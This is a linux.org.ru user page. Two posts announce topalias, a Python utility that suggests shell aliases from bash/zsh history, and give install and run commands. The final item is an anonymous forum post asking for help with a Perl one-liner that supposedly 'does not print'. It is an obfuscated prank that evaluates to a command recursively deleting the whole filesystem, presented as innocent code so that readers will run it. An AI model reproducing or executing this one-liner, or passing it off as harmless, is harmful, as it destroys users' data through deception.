LINUX.ORG.RU

Избранные сообщения CSRedRat

Генератор псевдонимов topalias 3.0.0

Новости — Open Source
Генератор псевдонимов topalias 3.0.0
Группа Open Source

Задачи, которые решает программа:

  • анализ файлов ~/.bash_aliases, ~/.bash_history, ~/.zsh_history с историей выполнения команд в терминале Linux в оболочке Bash/Zsh;
  • предложение коротких аббревиатур (акронимов) для длинных, долго набираемых и сложно запоминаемых, но часто используемых команд (хотя об этом можно даже не догадываться);
  • вывод статистики;
  • обработка управляющих параметров.

Установка:

  pip3 install -U --upgrade topalias
  pipx install --force topalias
  python3 -m pip install -U --upgrade topalias
  python3.10 -m pip install -U --upgrade topalias

Запуск утилиты topalias:

  topalias
  python3 -m topalias
  python3.10 -m topalias
  python3 topalias/cli.py

В этой версии добавлена поддержка Ubuntu 25.10/Python 3.13, Kubuntu 22.04/Python 3.10 и KDE neon Rolling.

>>> http://github.com/CSRedRat/topalias

 , ,

CSRedRat
()

topalias: утилита для генерации коротких алиасов по истории bash/zsh

Новости — Open Source
Группа Open Source

На GitHub опубликована Open Source утилита для генерации коротких алиасов по истории bash/zsh: https://github.com/CSRedRat/topalias

Задачи, которые решает программа:

  • Анализ файлов ~/.bash_aliases, ~/.bash_history, ~/.zsh_history с историей выполнения команд в терминале Linux в оболочке Bash/Zsh
  • Предлагает короткие аббревиатуры (акронимы) для длинных, долго набираемых и сложно запоминаемых, но часто используемых команд (хотя об этом можно даже не догадываться)
  • Выводит некоторую статистику
  • Обрабатывает управляющие параметры

Установка и запуск:

pip install topalias
python -m topalias

Если кого-то заинтересовала структура проекта - напишите, пожалуйста. Есть идея сделать актуальный шаблон для новых проектов на Python, включающий CI/CI (GitHub Actions, GitLab CI, Travis CI, git pre-commit hooks), проверенная линтерами из коробки рыба проекта, запуск программы как python-пакет, модуль, скрипт.

>>> Подробности разработки

 , , ,

CSRedRat
()

программа из одной строчки ни Perl

Форум — Development

помогите, пожалуйста исправить такую программу:

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

- не печатает

anonymous
()